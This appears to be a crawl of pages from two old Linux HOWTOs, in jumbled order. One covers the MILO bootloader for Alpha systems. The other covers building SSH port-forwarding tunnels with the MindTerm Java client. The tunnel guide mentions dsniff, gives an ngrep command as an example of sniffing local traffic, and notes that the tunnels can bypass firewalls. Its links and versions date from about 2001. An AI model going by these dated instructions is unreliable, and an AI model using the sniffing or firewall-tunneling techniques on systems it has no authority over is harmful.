MILO contains video code that initialises and uses the video device for the system. It will detect and use a VGA device if there is one, otherwise it will try to use a TGA (21030) video device. Failing that, it will assume that there is no graphics device. The BIOS emulation that the standard, pre-built, images include is Digital's own BIOS emulation which supports most, if not all, of the standard graphics devices available.

Linux device drivers live within the kernel and expect certain services from the kernel. Some of these services are provided directly by Linux kernel code, for example the interrupt handling and some is provided by kernel look-alike routines.

MILO's most powerful feature is that you can embed unaltered Linux device drivers into it. This gives it the potential to support every device that Linux does. MILO includes all of the block devices that are configured into the Linux kernel that it is built against as well as a lot of the block device code (for example, ll_rw_blk()).

MILO loads the Linux kernel from real file systems rather than from boot blocks and other strange places. It understands MSDOS, EXT2 and ISO9660 filesystems. Gzip'd files are supported and these are recommended, particularly if you are loading from floppy which is rather slow. MILO recognises these by their .gz suffix.

Built into MILO is a simple keyboard driver which, together with an equally simple video driver allows it to have a simple user interface. That interface allows you to list file systems on configured devices, boot Linux or run flash update utilities and set environment variables that control the system's booting. Like LILO, you can pass arguments to the Kernel.

MILO must tell the Linux kernel what sort of system this is, how much memory there is and which of that memory is free. It does this using the HWRPB (Hardware Restart Parameter Block) data structure and associated memory cluster descriptions. These are placed at the appropriate place in virtual memory just before control is passed to the Linux kernel.

Prev | Home | Next
Introduction |  | Pre-Built Standard MILO Images.


Pre-Built Standard MILO Images.

Alpha Miniloader Howto
Prev Next

3. Pre-Built Standard MILO Images.

If you are planning to run Linux on a standard Alpha based system, then there are pre-built "standard" MILO images that you might use. The original images (along with the sources and other interesting stuff) can be found in gatekeeper.dec.com/pub/Digital/Linux-Alpha/Miniloader.

The images subdirectory contains a directory per standard system (eg AlphaPC64) with MILO images having the following naming convention:

  1. MILO - Miniloader executable image, this image can be loaded in a variety of ways,

  2. fmu.gz - Flash management utility,

  3. MILO.dd - Boot block floppy disk image. These should be written using rawrite.exe or dd on Linux.

The test-images, like the images subdirectory contains a directory per standard system. These images are somewhat experimental but tend to contain all the latest features.

Digital/Compaq is no longer doing any work on MILO itself. However several people have picked up where Compaq left off.

  • Stefan Reinauer has done the work to get MILO to build against the 2.2 series of kernels. His work is available from http://www.freiburg.linux.de/~stepan/Milo and is mirrored by AlphaLinux.Org at ftp://ftp.alphalinux.org/pub/Linux-Alpha/Miniloader/v2.2.

  • Nikita Schmidt has updated the existing MILO source to provide support for the changes in the ext2 filesystem, as well as adding in many other bug fixes and patches. His version are available from ftp://genie.ucd.ie/pub/alpha/milo.

Prev | Home | Next
What is MILO? |  | How To Build MILO


Restrictions.

Alpha Miniloader Howto
Prev Next

8. Restrictions.

Unfortunately this is not a perfect world and there, as always, some restrictions that you should be aware of.

MILO is not meant to load operating systems other than Linux, although it can load images linked to run at the same place in memory as Linux (which is 0xFFFFFC0000310000). This is how the flash management utilities can be run.

The PALcode sources included in miniboot/palcode/blah are correct, however there are problems when they are built using the latest gas. They do build if you use the ancient a.out gas that's supplied in the Alpha Evaluation Board toolset (and that's how they were built). I'm trying to get someone to fix the new gas. Meanwhile, as a workaround, I have provided pre-built PALcode for the supported boards and David Mosberger-Tang has a fixed gas on his ftp site.

Prev | Home | Next
Running the Flash Management Utility |  | Problem Solving.


Problem Solving.

Alpha Miniloader Howto
Prev Next

9. Problem Solving.

Here are some common problems that people have seen, together with the solutions.

Reading MS-DOS floppies from the Evaluation Board Debug Monitor.

Some of the older versions of the Evaluation Board Debug Monitor (pre-version 2.0) have a problem with DOS format flopies generated from Linux. Usually, the Debug Monitor can load the first few sectors all right, but then goes into an endless loop complaining about "bad sectors." Apparently, there is an incompatibility between the DOS file system as expected by the Debug Monitor and the Linux implementation of DOSFS. To make the long story short: if you run into this problem, try using DOS to write the floppy disk. For example, if loading the file MILO.cab doesn't work, use a DOS machine, insert the floppy and then do:

     copy a:MILO.cab c:
     copy c:MILO.cab a:
     del c:MILO.cab

Then try booting from that floppy again. This normally solves the problem.

MILO displays a long sequence of O> and does not accept input.

This usually happens when MILO was built to use COM1 as a secondary console device. In such a case, MILO echo output to COM1 and accepts input from there also. This is great for debugging but not so great if you have a device other than a terminal connected. If this happens, disconnect the device or power it down until the Linux kernel has booted. Once Linux is up and running, everything will work as expected.

MILO complains that the kernel image has the wrong magic number

Older versions of MILO did not support the ELF object file format and so could not recognise an ELF image and this might be your problem. If this is reported, upgrade to the latest MILO that you can find. All 2.0.20 and beyond MILOs support ELF. On the other hand it could be that the image is indeed damaged. You should also note that MILO does not yet automatically distinquish between GZIP'd and non-GZIP'd images; you need to add the ".gz" suffix to the file name.

MILO prints "...turning on virtual addressing and jumping to the Linux Kernel" and nothing else happens

One obvious problem is that the kernel image is wrongly built or is built for another Alpha system altogether. Another is that the video board is a TGA (Zlxp) device and the kernel has been built for a VGA device (or vice versa). It is worth building the kernel to echo to COM1 and then connecting a terminal to that serial port or retrying the kernel that came with the Linux distribution that you installed.

MILO does not recognise the SCSI device

The standard MILO images include as many device drivers as are known to be stable for Alpha (as of now that includes the NCR 810, QLOGIC ISP, Buslogic and Adaptec 2940s and 3940 cards). If your card is not included, it may be that the driver is not stable enough on an Alpha system yet. Again, the latest MILO images are worth trying. You can tell which SCSI devices a MILO image has built into it by using the "show" command.

MILO is unable to read your ext2 filesystem

Early versions of MILO are unable to read ext2 filesystems that have been created with the newer versions of mke2fs due to sparse superblocks. Upgrade to a newer MILO and this should fix the problem.

Prev | Home | Next
Restrictions. |  | Acknowledgements.


Acknowledgements.

Alpha Miniloader Howto
Prev Next

10. Acknowledgements.

I would like to thank:

  • Eric Rasmussen and Eilleen Samberg the authors of the PALcode,

  • Jim Paradis for the keyboard driver and the original MILO interface,

  • Jay Estabrook for his help and bugfixes,

  • David Mosberger-Tang for the freeware BIOS emulation and his support and encouragement,

  • Last (and not least) Linus Torvalds for the timer code and his kernel.

Finally, a big thank you to Digital for producing such a wonderful chip (and paying me to do this).

Prev | Home | Next
Problem Solving. |  | Changelog


Changelog

Alpha Miniloader Howto
Prev

11. Changelog

November 12th, 2000 Rich Payne rdp@alphalinux.org

  • First major update since December 1996, removed David Ruslings and added mine as the maintainer

  • Added new URLs for current MILO development work

Prev | Home
Acknowledgements. |


Before we start

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

2. Before we start

2.1. Mindterm and SSH Introduction

Businesses, schools, and home users need more secure network services now more than ever. As online business increases, more people continue to access critical company information over insecure networks. Companies are using the Internet as a primary means to communicate with travelling employees in their country and abroad, sending documents to various field offices around the world, and sending unencrypted email; this communication can contain a wealth of information that any malicious person can potentially intercept and sell or give to a rival company. Good security policies for both users and network administrators can help to minimize the problems associated with a malicious person intercepting or stealing critical information within their organization. This paper will discuss using Secure Shell (SSH) and MindTerm to secure organizational communication across the Internet.

Home users and business travelers are accessing company resources and sending sensitive data over insecure networks. This opens up a whole new area of security issues for System Administrators (Securing the home office sensible and securely), especially since the number of corporate users from home with high-speed access is expected to "more than double from 24 million in 2000 to 55 million by 2005" (Broadband Access to Increase in Workplace). The increase in the number of airports and hotels offering internet access, especially high-speed access, is increasing and is expected to grow in the future (Broadband Moving On Up). This can also leave a door wide open for a malicious person to hijack or view a person's Internet traffic and access their companies. The malicious person may not be interested in the work the employee is doing but just want access to a high-speed server to launch attacks, store files, or other uses. Business people are really at high risk because they don't know who's monitoring their Internet connection in the hotel, airport, or anywhere in their travels. Users of the new high-speed connections are usually not taught proper security protocols and some companies don't have the staff to help the home user and business traveler set up secure communication. Individual users and, surprisingly, some companies have a mentality that "I don't have anything people want". This is very disturbing considering the amount of sensitive information that travels across the Internet from an employee's home or from travelers. What's more disturbing is the availability of free software to perform these kinds of attacks and the software's ease of use. Dsniff (http://www.monkey.org/~dugsong/dsniff/) is a freely available program that has utilities that can allow anyone with a networked computer to highjack a local network and monitor what others are doing and grab passwords and other sensitive data. In his book Secrets and Lies: Digital Security in a Networked World, Bruce Schneier states that Technique Propagation is one of the main threats to network security: "The Internet is...a perfect medium for propagating successful attack tools. Only the first attacker has to be skilled; everyone else can use his software" (Schneier).

The purpose of this paper is not how to secure computers but how to set up virtual tunnels to perform secure communication, whether sending documents or sending email. Business travelers should read Jim Purcell, Frank Reid, and Aaron Weissenfluh's articles on travel security. Home users with high-speed access should read Ted Tang's article for information on how to secure your computers with high-speed access. I'd recommend the many resources available on www.sans.org, www.securityfocus.com, or www.securityportal.com for tutorials on how to secure your computers and servers.

The way to ensure that sensitive data is transmitted securely and quickly is to use encrypted methods of data delivery. This can be by way of encrypted email, using secure web-based email services, or establishing encrypted tunnels between two computers. Also, easy to setup and reliable software need to be used in order to allow the inexperienced users the ability to quickly establish secure communication channels. Taten Ylonen 's Secure Shell and MindBright Technology's MindTerm are a quick, easy to use, and reliable solution for securing communication over the Internet.

2.2. MindTerm and SSH

SSH (Secure Shell) is a secure replacement for remote login and file transfer programs like telnet, rsh, and ftp, which transmit data in clear, human-readable text. SSH uses a public-key authentication method to establish an encrypted and secure connection from the user's machine to the remote machine. When the secure connection is established then the username, password, and all other information is sent over this secure connection. You can read more details of how ssh works, the algorithms it uses, and the protocols implemented for it to maintain a high level of security and trust at the ssh website: www.ssh.com. The OpenBSD team has created a free alternative called OpenSSH available at: www.openssh.com. It maintains the high security standards of the OpenBSD team and the IETF specifications for Secure Shell (see the Secure Shell IETF drafts, except it uses free public domain algorithms. SSH is becoming a standard for remote login administration. It has become so popular that there are many ports of ssh to various platforms and there are free clients available to login to an ssh server from many platforms as well. See http://linuxmafia.com/pub/linux/security/ssh-clients for a list of clients and Securityportal.com has an excellent two-part article on ssh and links to ports for different platforms available at http://www.securityportal.com/research/ssh-part1.html. There are programs that also use an ssh utility called Secure Copy (scp) in the background that provide the same functionality of a full ftp client, like WinSCP and the Java SSH/SCP Client, which has a modified scp interface for MindTerm. Please read the licenses carefully to determine if you are legally allowed to download ssh in your country. SSH is free for academic institutions please. Please read the licenses available at the ssh.com website.

MindTerm is an ssh client written entirely in Java by MindBright Technology. One of the key practices of developing security software is proper implementation of the underlying algorithms and protocols it uses. MindBright Technology has implemented the ssh protocol very well in this small application file. It is a self-contained archive that only needs to be unzipped into a directory of your choice and it is ready to be used. It can be used as a standalone program or as a web page applet or both. It is available at: http://www.mindbright.se/download/. MindTerm is an excellent and inexpensive client to secure communication to and from a local and remote location. The MindTerm program located at the download address above is available free for non-commercial and academic use, commercial use is available on a case to case basis. However, the modifications made by the ISNetwork "is based on the MindTerm 1.21 codebase, which MindBright released under the GPL [General Public License -- see http://www.gnu.org]. Since our version is released under the GPL you can use it commercially for free" (Eckels). ISNetwork's implementation has all the features of MindBright's MindTerm except it has a nicer scp interface for more user-friendly file transfers. MindTerm does have some drawbacks in that it doesn't support UDP tunneling. In order to secure UDP traffic, a program called Zebedee ( http://www.winton.org.uk/zebedee/) will work nicely. Zebedee's server and client program is available for Windows and Linux platforms. It is freely distributed under the GPL License too. You can connect to either Windows or Linux machines using Zebedee. MindTerm will not check to see if your system is secure. It is up to the administrators and users to take care of securing the computer systems. It is easy to implement and it is very effective at maintaining the high level of security implemented in the ssh protocol. This paper will show how easy it is to set up and establish secure communication channels for almost any user and by almost any user. Documents, email, and other data communication can be easily and securely sent to users a few feet away or around the world.

2.3. How MindTerm and SSH work together

SSH and MindTerm will work together to use a technique called port forwarding. Port forwarding is forwarding traffic from one host and a given port to another host and port. In other words, the MindTerm application will open a port on the client's machine (local machine) and any connection to that local port is forwarded to the remote host and its listening port over an encrypted ssh session. Whether or not the connection is accepted depends on the type of request you are sending to the remote host. For example, you wouldn't forward POP requests to a remote host listening on port 21 because port 21 is reserved for ftp requests. Port forwarding is also used to allow connections to a server that is behind a firewall and/or has a private IP address. Essentially this is creating a Virtual Private Network (VPN). A VPN is "a private data network that makes use of the public telecommunication infrastructure, maintaining privacy through the use of a tunneling protocol and security procedures" ( www.whatis.com ). The port-forwarding can only be done with TCP services.

Prev | Home | Next
Introduction |  | Software Installation


Conclusion

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

8. Conclusion

SSH and MindTerm together can provide local and remote users with a high-level of security with a simple and small drop-in application. It can also be used from nearly any platform available. Java was chosen because of its cross-platform compatibility. If there is a JRE available for a platform that someone uses then they can use the MindTerm application to communicate securely over long distances. Since ssh is becoming the standard for remote administration and logins, soon nearly all platforms will be able to run an ssh server. MindBright is currently working on a Java SSH server.

This tutorial also shows how someone can tunnel through a firewall. This is by no means the intention of this paper. It is hoped people will use it for a secure, quick, and free drop-in VPN-like replacement for remote administration, traveling business people, and a hope that other sectors can see the usefulness in this excellent program. As long as you are allowed to make ssh connections then you can tunnel services through to a remote machine. System and Security Administrators should establish policies against tunneling through firewalls because that can cause internal security breaches if used improperly. Remember that the communication is secured but the commands and files that you access and/or download are still being executed on your local and remote machines. Also, any commands you type on most servers are being logged as well. SSH will protect the data over the network or the Internet but what is done on the remote machines can be logged. SSH and MindTerm will not protect against someone gaining access to a remote user's computer and installing key logging programs or other snooping devices.

It is very simple and quick to set up secure communications but the only way to increase the use of secure communication is for users to encourage their company, financial institutions, health care providers, and other businesses to offer secure services.

Prev | Home | Next
Security considerations |  | References


Server and Client Configurations

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

4. Server and Client Configurations

4.1. Server Configuration

First, make sure that your server is secure. Though traffic is encrypted as it travels over the Internet, it can be sniffed if someone has root access on the local machine and uses a program like ngrep to sniff traffic on a local machine. For example, in conjunction with the dsniff program mentioned above, the following command could sniff all traffic on the local interface network: ngrep -d lo. Securing the server is, however, beyond the scope of this paper.

We'll use the POP (port 110), IMAP (port 143), SMTP (port 25), VNC (Virtual Network Computing) (5901+), and NTOP (default port 3000) services for this example. All traffic will be forwarded to each service's respective port on the remote host running the ssh server. All services listening on the remote host listen on all interfaces, unless the service binds to a specific port by default or if manually configured. In order to show how effective this technique of tunneling over ssh is, we will only allow particular services to listen on the local interface.

You don't have to change your current security configurations, however. We will use tcp_wrappers, that is installed by default with RedHat 7.0 (and previous versions), to connect to the network services. In the /etc/hosts.deny file add the following line:

ALL : ALL

And in your /etc/hosts.allow file add the following lines:

 sshd : ALL
 in.ftpd : 127.0.0.1
 ipop3d : 127.0.0.1
 imapd : 127.0.0.1

This sets sshd (the ssh server) to allow connections from anywhere any IP address. The other services only allow connections from the local interface. You can verify this by configuring a mail client to connect to your remote pop or imap server and/or an ftp client to connect to your ftp server, right now. It won't allow you to connect. You'll also need to set up any user accounts to allow access to these services. (Note: The setup above is only useful if the services are only for internal use and remote users need to access the internal services to send and receive email or transfer files. The services can be available for public use and be encrypted with ssh and MindTerm.) If MindTerm will be used over the web to create tunnels or use the secure copy GUI features then a Java Runtime Environment (JRE) will need to be installed on the server running SSH as well.

4.2. Client Configuration

The only client configuration that is needed is to be sure that a JRE is installed for your platform. Windows and MacOS 8 and later have a JRE already installed. It is recommended to install Sun's JRE on Windows. IBM has a list of ports of JRE's to various plaforms: http://www-105.ibm.com/developerworks/tools.nsf/dw/java-devkits-byname as well as Sun: http://java.sun.com/cgi-bin/java-ports.cgi. (You don't need the entire Java package with the debuggers and compilers you just need the Java Virtual Machine to run java applications.) Also, for the tutorial that follows, unzip the MindTerm archive, MindBright's or ISNetwork's implementation, archive into c:\mindterm for windows.

Prev | Home | Next
Software Installation |  | Creating the tunnels


Creating the tunnels

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

5. Creating the tunnels

MindTerm can be started a few ways. If you have the JRE installed then you can double-click on the mindtermfull.jar application file. Another way is to open up a dos-shell and type the command:

jview -cp c:\mindterm\mindtermfull.jar mindbright.application.MindTerm

or

javaw -cp  c:\mindterm\mindtermfull.jar mindbright.application.MindTerm

or

java -cp c:\mindterm\mindtermfull.jar mindbright.application.MindTerm

(jview is used if you are using Windows and you don't download the JRE. Javaw comes with the Windows JRE download and is used because a dos-shell box won't be needed in order to run MindTerm so there is one less window open)

MindTerm 2.0 is now available. The argument to start it has changed slightly. Instead of the command above:

java -cp c:\mindterm\mindtermfull.jar mindbright.application.MindTerm

this will start MindTerm from the commandline:

java -cp c:\mindterm\mindtermfull.jar com.mindbright.application.MindTerm

Only the "com." was added to the applet parameter.

This will start the MindTerm program and you can then type the server name when prompted and it will prompt you to " Save as Alias". You can type a short server name so when you start the applet again you can simply type the Alias you created. You will then be prompted for your login name. After you type it, hit enter and a dialog box will appear informing you that the host doesn't exist and prompt you to create it. Click Yes. Another dialog will appear prompting you if you want to add that host to your known_host file. Click Yes. Then you are prompted for your password. Type your password and hit enter. If you supplied the proper username and password then you should be at a command line on the server you specified.

We'll create a tunnel to the POP and SMTP server, first. After you have successfully logged in (and optionally enabled vlock) click on Tunnels on the menu and then click Basic. A dialog box will appear. Add the following settings to each box, respectively:

  • Local port: 2010

  • Remote Hosts: Your remote host (this should be the server running the sshd server).

  • Remote port: 110

Now click Add. A dialog box should appear stating "The tunnel is now open and operational". (Note: If you select a port that is already open an error message will appear stating " Could not open tunnel. Error creating tunnel. Error setting up local forward on port XXXX, Address in use.) Click OK and the tunnel configuration should appear in the box now. Click Close Dialog. Open up your email client's options or preferences menu. We'll use Netscape Messenger for this example.

  1. Open up Netscape

  2. Click on Edit -> Preferences.

  3. On the left column click on Mail " Newsgroups, if the contents aren't already displayed.

  4. Click on Identity and type your information in each box.

  5. Click on Mail Servers in the left column. The default install of Netscape has "mail" in the box underneath Incoming mail servers.

  6. Click on mail.

  7. Click Edit to the right of that box and a dialog box should appear.

  8. If POP is not already selected in that drop down box, select it now.

  9. In the Server Name box type localhost:2010 (remember we chose that local port in the MindTerm tunnel creation menu to forward to the remote servers POP (110) port) and then your username. Set any other options as you see fit.

  10. Click OK.

  11. In the box Outgoing mail (SMTP) server type your smtp server name and underneath that type your Outgoing mail server user name.

  12. Click OK. (Don't do anything to the Use Secure Socket Layer (SSL) or TLS for outgoing messages option).

  13. Now click on Communicator on the menu.

  14. Click Messenger.

  15. You should then be prompted for your password. Type your password and hit enter. If you have mail you should now be able to read it.

As long as you have a MindTerm ssh session open, this should work with most email clients. Remember that the remote server name or POP server name will be "localhost:". If you are asked for the POP server and port seperately then add it accordingly. Any connections to the local port 2010, in this example, will be forwarded to the remote hosts' port 110. If you configure an ftp client to connect to the localhost port 2010, right now it wouldn't work. Why? The POP protocol doesn't understand ftp protocol. Only POP clients can be forwarded to the localhost port 2010 for the tunnel to be effective. A POP server isn't any good if you don't have an smtp server. If you have a mail program like Postfix ( www.postfix.net), Qmail (www.qmail.org), or Sendmail (www.sendmail.org) then a secure tunnel can be created to it, as well.

With the MindTerm client still running click on Tunnels again then Basic and add these settings.

  • Local Port: 2025(just type over the settings set from what we did previously)

  • Remote Host: Your remote smtp server.

  • Remote Port: 25

Click Add. Then click OK on the confirmation menu. Now smtp should be added to the list underneath the settings for POP. In the Netscape Messenger mail server settings add: localhost:2025 as your Outgoing mail (SMTP) server. All email you send to the remote host will be encrypted. However, if you send mail to someone outside of the remote host's mail server, your email will be encrypted only from your local machine to your remote smtp server. From the remote smtp server to any other host, will not be encrypted, unless you've configured a tunnel to the other hosts.

To enable encrypted ftp sessions add these settings to a new tunnel.

  • Local Port: 2021 (just type over the settings set from what we did previously)

  • Remote Host: Your remote ftp server.

  • Remote Port: 21

Click Add. Then click OK on the confirmation menu. Now ftp (see the leech ftp example and wsftp-- picture 1 and picture 2) should be added to the list underneath the settings for SMTP.

Imap settings:

  • Local Port: 2043 (just type over the settings set from what we did previously)

  • Remote Host: Your remote imap server.

  • Remote Port: 143

Click Add. Then click OK on the confirmation menu. Now ftp should be added to the list underneath the settings for POP.

All these settings can be automated in a batch file. Simply add the following to a startup script to automatically create a tunnel to your pop server after authentication:

jview (or java or javaw) -cp c:\mindterm\mindtermfull.jar mindbright.application.MindTerm
 -server -local0 2010:localhost:110

Here is an example based on what we've done above. Add the following to a file in an editor:

jview (or java or javaw) -cp c:\mindterm\mindtermfull.jar mindbright.application.MindTerm
 -server -local0 2010:localhost:110 -local1 2025:localhost:25 -local2 /ftp/2021:localhost:21
-local3 2043:localhost:143

now save it with a .bat extension. Double-click on it. You should be prompted for your login name when MindTerm starts up then type your password. After you are authenticated click on the Tunnels menu and click Basic. You should see the tunnels in the box that opens up. This is an easy way to allow remote users to start up the tunnels without many configurations on their part. They only need to click the .bat file and type their username and password and optionally run vlock. Their client software can be pre-configured for remote profiles that connect to the tunnels automatically.

When you are finished using the MindTerm, be sure to close all applications that are using a tunnel. If you forget to close the programs using the tunnels, MindTerm will display a message when you attempt to exit from the console or quit the program.

What about VNC and NTOP? These services work the same way. Here the VNC server was running on a RedHat 7.0 workstation. When you start the VNC server, it first listens on port 5901 and each server after that increments up 1 port so the second instance of VNC will listen on port 5902, and the third 5903, etc.. On Linux, you can run multiple VNC servers and people can connect to each VNC server as well. In MindTerm you can simply add a VNC tunnel with the following settings:

  • Local Port: 2001

  • Remote Host: Your remote VNC server host name.

  • Remote Port: 5901 (If this is the first server instance running)

Click Add. Then click OK on the confirmation menu.

Run the vncviewer application on your local machine and type: localhost:2001, and then the password, when prompted, for the VNC desktop and you have an encrypted VNC session.

Ntop works the same way. If you want to run ntop in web mode as a network monitor, you can tunnel connections to your local machine and view the stats in your local browser, without having to install a webserver or opening port 3000 on your remote server. By default, ntop in web mode listens on port 3000 and waits for an http connection to display network stats. Simply create a tunnel to the server running the ssh server and ntop. First run ntop in web mode: ntop -d -w 3000 Then add the settings to the MindTerm tunnel:

  • Local Port: 2080

  • Host: Server running ntop.

  • Remote Port: 3000

Click Add. Then click OK on the confirmation menu.

Open up your web browser and in the location bar type: http://localhost:2080 You should now see the network stats page for ntop (see the ntop man pages to add password protected access to the ntop display). Similarly, if you want to install a web server so you can use web-based applications to control your server or firewall, then just create a tunnel to port 80. You don't have to open up a port on the public interface. Simply bind the webserver to the local interface and create a tunnel to the remote hosts' port 80. For Apache, edit the httpd.conf file and change the BindAddress * option to BindAddress 127.0.0.1. Then add localhost to the ServerName directive: ServerName localhost. Finally, change the Listen directive to: Listen 127.0.0.1:80 As you can see by now MindTerm can secure almost any TCP service. It can be used on a remote server to run Webmin, which is an excellent web-application to administer your servers. It comes with its own perl-based webserver and listens on port 10000 by default. Simply create a tunnel to it using MindTerm and it should work without any changes to the Webmin application or your local web browser. The MindTerm download zip file contains many useful examples, such as using it from the command line and an explanation of all the menu options. MindTerm has more features than outlined in this tutorial but the tunnel option is well worth spending time focusing on.

Prev | Home | Next
Server and Client Configurations |  | MindTerm over the web


Frequently Asked Questions

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev

10. Frequently Asked Questions

Nothing yet.

Prev | Home
References |


Encrypted Tunnels using SSH and MindTerm HOWTO

Duane Dunston

duane@duane.yi.org

Revision History
Revision 1.01 2001-06-13 Revised by: PDD
Changed date format (YYYY-MM-DD)

This document describes how to use SSH and the Java-based program MindTerm to create quick, secure, and reliable VPN-like tunnels over insecure networks.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
2. Before we start
2.1. Mindterm and SSH Introduction
2.2. MindTerm and SSH
2.3. How MindTerm and SSH work together
3. Software Installation
4. Server and Client Configurations
4.1. Server Configuration
4.2. Client Configuration
5. Creating the tunnels
6. MindTerm over the web
7. Security considerations
8. Conclusion
9. References
10. Frequently Asked Questions
Next
Introduction


Introduction

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

1. Introduction

For various reasons this brand new release is codenamed the release release.

New code names will appear as per industry standard guidelines to emphasize the state-of-the-art-ness of this document.

This document was written when I read a feedback asking for a template to fill in to make new HOWTOs. This template was initially made by extracting the skeletal structure of the Multi Disk HOWTO which is a rather large HOWTO. It then went through extensive editing.

Stating the background is a simple way to getting started writing the intro.

First of all we need a bit of legalese. Recent development shows it is quite important.

1.1. Copyright Information

This document is copyrighted (c) 2001 Duane Dunston and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below. It's requested that corrections and/or comments be forwarded to the document maintainer.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <duane@duane.yi.org>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

This has undergone many revisions as this began as my final project for SANS GIAC certification.

The latest version number of this document can be gleaned from the main Linux Documentation Project homepage or the authors page.

If you have the capability, it would be nice to make the HOWTO available in a number of formats.

1.4. Credits

In this version I have the pleasure of acknowledging:

Patti Pitz for her editing and help with organizing the paper. Doug Eymand for his technical editing.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <duane@duane.yi.org>.

Prev | Home | Next
Encrypted Tunnels using SSH and MindTerm HOWTO |  | Before we start


MindTerm over the web

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

6. MindTerm over the web

MindTerm can be used over the web as well. Users don't have to download the application. Simply copy the mindtermfull.jar file to a directory into a web directory and the users can simply use it as a built-in application or as a stand-alone java applet. For example, create a folder named mindterm under your web directory. Copy the mindtermfull.jar file, that was used above, into the web directory folder mindterm. Then add the file index.html to the directory with the following content (snipped from the README):

<html> <head></head> <body> <applet archive="mindtermfull.jar" code=mindbright.application.MindTerm width=700 height=400> <param name=server value="<yourserver name>"> <param name=port value="22"> <param name=cipher value="blowfish"> <param name=te value="xterm-color"> </applet> </body> </html>

MindTerm 2.0 is now available. The argument to start the web applet has changed slightly. Instead of the applet parameter above, and the code example below, change the line:

<applet archive="mindtermfull.jar"
code=mindbright.application.MindTerm width=700 height=400>

to:

<applet archive="mindtermfull.jar"
code=com.mindbright.application.MindTerm width=700 height=400>

Only the com. needs to be added to the applet parameter code=. So the code below will be changed to:

<applet archive="mindterm_ns.jar" code=com.mindbright.application.MindTerm.class width=1
height=1>

Browse to the location of the directory in your web browser (http://<yourserver name>/mindterm/index.html), be sure to have Java enabled in your browser and you should be able to login into the server now.

In order to create tunnels the most recent version of MindTerm has to be downloaded from the MindBright website, version 1.99. That archive contains a signed applet by MindBright that can be used in your web page to create tunnels as explained above. After you have downloaded the latest version, add the mindterm_ns.jar file to the mindterm directory under your webserver. Now add a file named standapplet.html to the mindterm directory and add the following code to start MindTerm as a separate client to create tunnels. (NOTE: The archive contains an applet for both netscape and Explorer)

<html> <head></head> <body> <applet archive="mindterm_ns.jar" code=mindbright.application.MindTerm.class width=1 height=1> <param name=server value="<yourserver name>"> <param name=port value="22"> <param name=cipher value="blowfish"> <param name=sepframe value="true"><!-- wheter to run in a separate frame or not --> <param name=autoprops value="both"><!-- enable/disable automatic save/load of settings --> </applet> </body> </html>

Now browse to the location of the directory in your web browser (http://<lt;yourserver name>/mindterm/standapplet.html). This will start MindTerm as a standalone java applet, the same as if it was started from the commandline. Tunnels can be created using the applet tags so that users don't have to do anything but browse to the page and then login. Then they would access their services just as explained in the above examples. They can, however, create their own tunnels or new tunnels from the Tunnels menu as explained above. The README that comes with the MindTerm zip archive has many more applet parameters that can be added. As you create tunnels you can then click on File and then Save so it keeps the tunnels that you have created when you log in again.

A couple of security notes here are you can't connect to another server using the initial login applet. You can only login to the server where the applet is located. However, after you have logged in successfully you can then log in to other servers from the command line. Also, this MindTerm applet is signed by MindBright so you need to contact the sales department at MindBright to obtain a crytographic signature for your organization. That is, if it is needed.

Prev | Home | Next
Creating the tunnels |  | Security considerations


References

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

9. References

Broadband Access to Increase in Workplace. 25 Jan. 2001. CyberAtlas. 12 Mar. 2001 <http://cyberatlas.internet.com/markets/broadband/article/0,,10099_570571,00.html>.

Broadband Moving On Up. 10 Jan. 2001. CyberAtlas. 12 Mar. 2001. <. http://cyberatlas.internet.com/markets/broadband/article/0,,10099_556391,00.html>.

Connolly, P.J. "Secure the home office sensible and easily" Infoworld. 8 Mar. 2001. 22 Mar. 2001. <http://www.infoworld.com/articles/tc/xml/01/03/12/010312tcsoho.xml>.

Eckels, Josh. "Commercial Use" E-mail to Josh Eckels. 13 Mar. 2001

MindTerm: README. MindBright Technology. 3 March 2001 <. http://www.mindbright.se/documentation/README>. Schneier, Bruce. Secrets and Lies: Digital Security in a Networked World. New York:Wiley & Sons, 2000.

Seifried, Kurt. "The End of SSL and SSH" 18 Dec. 2000. SecurityPortal. 12 March 2001 <http://www.securityportal.com/cover/coverstory20001218.html>.

virtual private network: [Definition]. 6 Oct. 2000. Whatis.com. 15 Mar. 2001. <http://whatis.techtarget.com/definitionsSearchResults/1,289878,sid9,00.html?query=virtual+private+network>.

Prev | Home | Next
Conclusion |  | Frequently Asked Questions


Security considerations

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

7. Security considerations

